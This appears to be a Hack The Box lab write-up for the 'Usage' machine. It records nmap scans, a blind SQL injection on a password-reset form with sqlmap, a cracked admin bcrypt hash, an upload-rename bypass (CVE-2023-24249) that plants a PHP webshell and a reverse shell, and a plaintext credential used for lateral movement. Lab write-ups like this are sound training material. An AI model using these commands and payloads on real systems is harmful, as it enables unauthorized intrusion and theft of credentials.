Skip to content

Usage — HTB Writeup

  • IP: 10.129.33.7 (has redeployed multiple times during this engagement — see IP history below)
  • OS: Linux (Ubuntu)
  • Difficulty: Easy

1. Enumeration

Command:

nmap -p- --min-rate 3000 -Pn -oA nmap/usageNmapOpenPorts $IP
nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/usageNmapServicesVersions.txt $IP

Flags/Notes: - -p- — all 65535 TCP ports, don't trust a top-1000 scan on a box that might hide something on a high port - --min-rate 3000 — floor packets/sec to keep the full-range scan fast - -Pn — skip host discovery (HTB targets often block ICMP) - Second pass feeds the discovered ports into -sSCV (SYN scan + default scripts + version detection) for banners

Result:

22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open  http  nginx 1.18.0 (Ubuntu), title "Daily Blogs"

Web recon: - http://usage.htb/ — "Daily Blogs" front end with Register/Login, Laravel-flavored (cookies XSRF-TOKEN + laravel_session) - http://admin.usage.htb/ — separate login panel, added to /etc/hosts - searchsploit dead ends chased before the real lead: bootstrap, fontawesome, 'adminLTE' (only hit was an unrelated AdminLTE-PiHole 5.18 broken-access-control advisory, EDB-51705 — not applicable here), nginx — none of these panned out


2. Foothold

2.1 SQL injection on password reset

admin.usage.htb's presence plus a /forget-password form on usage.htb was the actual lead. The email parameter on POST /forget-password is injectable — blind boolean-based.

Command (after several failed attempts with stale CSRF tokens/static request files):

sqlmap -r passreset2.post --technique=B --level 5 --risk 3 -p email --batch -dbs

Flags/Notes: - -r passreset2.post — replay a captured Burp request (Laravel CSRF token + session cookie baked in); sqlmap refreshes the token itself as needed instead of a hardcoded --csrf-token value, which is why the earlier attempts with a fixed token failed (one-time/session-tied tokens) - --technique=B — force boolean-blind only (this app returns no useful error/UNION surface — Generic UNION query tests upstream all failed) - --level 5 --risk 3 — needed to reach payloads that actually land in the email field's query context - -p email — target that parameter specifically instead of testing every field - --batch — accept sqlmap defaults non-interactively

Result: confirmed MySQL 8 backend, 3 databases, target usage_blog.

sqlmap -r passreset2.post --technique=B --level 5 --risk 3 -p email --batch -D usage_blog --tables
sqlmap -r passreset2.post --technique=B --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users --dump

Dumped usage_blog.admin_users (1 row): | id | username | name | password | created_at | |----|----------|------|----------|------------| | 1 | admin | Administrator | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | 2023-08-13 |

2.2 Cracking the admin hash

hashcat -m 3200 adminHash.txt /usr/share/wordlists/rockyou.txt

Flags/Notes: -m 3200 = bcrypt ($2y$/$2a$/$2b$). Cracked in ~24s at only 68 H/s, position 1600/14,344,385 in rockyou — that's within the first ~1600 candidates, consistent with the password being password.

Login: admin : password on http://admin.usage.htb/ — this is a Laravel-admin (z-song/laravel-admin) panel.

2.3 CVE-2023-24249 — Laravel-admin arbitrary file upload → RCE

Laravel-admin's file manager doesn't apply the upload extension whitelist to its rename operation — upload a .jpg, then rename it to .php through the panel, and it lands as a live PHP file under public/uploads/.

  • A public PoC was tried first (git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit, python3 exploit.py -u http://admin.usage.htb/ -U admin -P password -i <tun0 IP> -p 42069) — did not return a shell (ran twice, no callback). Abandoned and removed.
  • Pivoted to doing it manually: uploaded a minimal webshell disguised as an image —
    <?php system($_REQUEST['cmd']); ?>
    
    saved as yourMomsPHPReverseShell.php.jpg, uploaded via the file manager, then renamed .jpg → .php inside the panel (the CVE's actual bypass step) to get it served as PHP.
  • Landed at /var/www/html/project_admin/public/uploads/images/ — confirms the app root.
  • Used the webshell's cmd parameter to trigger a reverse shell back to nc -lnvp 443.

Result: shell as dash (not www-data — the app runs as its own service user).

whoami → dash
cat user.txt → b01245a0c3841430edb75a3fe6fe57d9   ← USER FLAG

2.4 dash → xander

/home contains two users: dash, xander. dash's home has .monitrc (Monit, local-only web UI on port 2812 — not yet explored further, potential lead if other paths dry up).

Credential xander : 3nc0d3d_pa$$w0rd was already in hand (exact discovery step wasn't captured in the terminal logs — likely pulled via the browser-based webshell session rather than this tmux pane, so it predates the logged su command). Worth re-deriving how this was found and documenting it properly, since right now it's a credential with no recorded source.

su xander   # password: 3nc0d3d_pa$$w0rd

Result: shell as xander.


3. Privilege Escalation — IN PROGRESS

sudo -l
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

Current status: stopped here. Binary identified as a custom, not-stripped PIE executable runnable as root with no password. Next step is to actually reverse it (cat/hexdump attempts so far didn't get anywhere useful — need file was run but no disassembly yet). This is the pending root vector.

Not yet tried: - Pull the binary to attacker box and open in Ghidra/objdump — not stripped means symbol names are intact, should read fast - Just run it as xander first (unauth'd) to see what it does/prompts for — no evidence yet this was tried - Check for strings output — config paths, hardcoded commands, format specifiers


Open Threads / Unresolved

  • pepper.key — an RSA private key for a user pepper was captured in this project directory before any command in cmd.log was run (timestamp 06:08, four minutes before the first logged IP-setup command), referencing an old/reset IP (10.129.229.137). This doesn't fit into the dash→xander chain documented above and its origin (how it was read/exfiltrated) isn't captured in either log. Possibly an earlier abandoned lead (e.g., an arbitrary-file-read primitive from Laravel-admin against a prior instance of the box). Needs to be re-verified against the current instance — don't assume it's still valid credential material until re-tested.
  • Box has redeployed at least 4 times during this engagement (10.129.22.189 → 10.129.33.7 → 10.129.35.119/139 → 10.129.37.180) — always confirm $IP and /etc/hosts match the current instance before trusting old findings like the pepper key or specific IPs in captured requests.

IP History (for reference — box resets)

IP Context
10.129.22.189 initial, superseded immediately
10.129.33.7 initial nmap scans
10.129.35.119 SQLi/hashcat phase (admin ssh attempt failed — admin isn't an SSH user)
10.129.35.139 CVE exploitation, dash/xander foothold, user flag
10.129.37.180 current (2026-07-22)